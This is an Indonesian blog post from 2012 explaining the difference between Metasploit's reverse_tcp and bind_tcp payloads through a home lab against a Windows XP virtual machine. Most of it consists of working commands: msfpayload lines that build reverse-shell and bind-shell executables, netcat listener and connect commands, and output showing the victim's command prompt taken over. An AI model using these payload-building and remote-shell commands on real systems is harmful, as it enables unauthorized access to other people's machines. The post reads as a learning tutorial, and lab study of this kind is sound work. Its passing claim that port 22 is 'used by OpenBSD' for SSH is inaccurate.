Searching...
January 18, 2012
Wednesday, January 18, 2012

Perbedaan Reverse TCP dan Bind TCP

Pengguna metasploit untuk tingkat pemula, mungkin pernah bertanya-tanya. Apa perbedaan payload reverse_tcp dengan payload bind_tcp? Sederhananya, reverse adalah perintah dari attacker kepada korban, untuk menghubungi korban. Sementara bind tcp adalah perintah dari attacker kepada korban, untuk membuka akses kepada attacker. Ilustrasinya seperti ini

[reverse_tcp]
attacker -> [hubungi saya di port 4444] -> victim

setelah payload dieksekusi
attacker <-> [port 4444] <-> victim

[bind_tcp]
attacker -> [buka jalan untuk saya di port 4444] -> victim

setelah dieksekusi
attacker <-> [port 4444] <-> victim

Untuk membuktikannya, saya akan mengadakan percobaan mengenai payload. Anda bisa mencoba sendiri di rumah.

Tools requirements:
[*] msfpayload dapat ditemukan di backtrack 5
[*] netcat dapat ditemukan di backtrack 5
[*] vmware player
[*] windows XP SP 2

System requirements:
[*] VMware menggunakan koneksi NAT
[*] IP address attacker vmnet8 10.10.10.1
[*] IP address victim vmnet8 10.10.10.128
[*] Windows XP di dalam vmware telah terinstall vmware tools

Walk-through:
1. Buat PAYLOAD windows/shell_reverse_tcp

Buka terminal, kemudian masukan perintah:

Command:
root@revolution:~# msfpayload windows/shell_reverse_tcp LHOST=10.10.10.1 LPORT=4444 X > /tmp/reverse.exe



Keterangan:
[*] saya akan membuat payload windows/shell_reverse_tcp
[*] ip address saya 10.10.10.1
[*] port listener saya tentukan di 4444
[*] payload ini saya simpan di folder /tmp dengan nama reverse.exe

Buka folder /tmp, kemudian copy file reverse.exe, kemudian paste di windows XP. Kembali ke terminal, kemudian masukan perintah:

Command:
root@revolution:~# nc -l -v -p 4444

Keterangan:
[*] saya menggunakan netcat sebagai handler terhadap koneksi yang masuk
[*] menentukan netcat sebagai listener (-l)
[*] menentukan netcat untuk mengaktifkan verbose mode (-v)
[*] menentukan netcat untuk melakukan listening pada port 4444 (-p 4444)

Kemudian jalankan file reverse.exe yang ada di windows xp.

Maka ini yang akan terjadi:
Command:
root@revolution:~# nc -l -v -p 4444listening on [any] 4444 ...10.10.10.128: inverse host lookup failed: Unknown server error : Connection timed outconnect to [10.10.10.1] from (UNKNOWN) [10.10.10.128] 1062Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\User\Desktop>



FAQ [Frequently Asked Questions]
[Q] Apa fungsi payload yang kita buat?
[A] Payload yang kita buat, memiliki perintah dari attacker kepada victim untuk menghubungi attacker di port 4444

[Q] Mengapa kita mendapatkan command prompt milik victim?
[A] Itu karena payload yang kita buat adalah shell_reverse_tcp, ini berfungsi agar netcat mengeksekusi shell aka command prompt (pada windows) setelah konesi di port 4444 terjadi

[Q] Bisakah saya menentukan di port yang berbeda selain 4444?
[A] Bisa, dengan syarat port tersebut sedang tidak digunakan oleh proses lain, misalkan port 80 yang biasa digunakan oleh Apache, atau 22 yang biasa digunakan oleh OpenBSD untuk SSH connection.


2. Buat payload windows/shell_bind_tcp

Buka terminal, kemudian masukan perintah:

Command:
root@revolution:~# msfpayload windows/shell_bind_tcp LPORT=4444 X > /tmp/bind.exe



Keterangan:
[*] Saya akan membuat payload windows/shell_bind_tcp
[*] Saya menentukan 4444 sebagai port listener agar attacker dapat masuk ke system milik victim
[*] Saya menyimpan payload di folder /tmp dengan nama bind.exe

Buka folder /tmp, kemudian copy bind.exe ke Windows XP. Jangan jalankan file ini terlebih dahulu!

Buka command prompt windows, kemudian ketik

Command:
C:\Documents and Settings\User> netstat -an | find "4444"



Keterangan:
[*] netstat adalah perintah command prompt untuk mengecek koneksi yang terjadi dalam sebuah system
[*] saya akan mengecek, apakah port 4444 terbuka

Terlihat bahwa port 4444 tidak terbuka. Setelah itu, jalankan file bind.exe. Kemudian masukan perintah netstat kembali pada command prompt:

Command:
C:\Documents and Settings\User> netstat -an | find "4444"



Terlihat bahwa sekarang muncul port 4444 yang melakukan listening terhadap koneksi. Kali ini kita akan menggunakan netcat untuk mendapatkan command prompt milik victim.

Command:
root@revolution:~# nc -v 10.10.10.128 4444

Maka ini yang akan terjadi:

Command:
root@revolution:~# nc -v 10.10.10.128 444410.10.10.128: inverse host lookup failed: Unknown server error : Connection timed out(UNKNOWN) [10.10.10.128] 4444 (?) openMicrosoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\User\Desktop>



Keterangan:
[*] Kali ini saya akan menghubungi IP address victim [10.10.10.128]
[*] Saya akan mencoba port 4444 untuk akses masuk

FAQ [Frequently Asked Question]
[Q] Apa yang terjadi?
[A] Payload kita telah membuat victim membuka port 4444 agar attacker dapat masuk ke system korban

Created by: red-dragon

2 comment:

 
Back to top!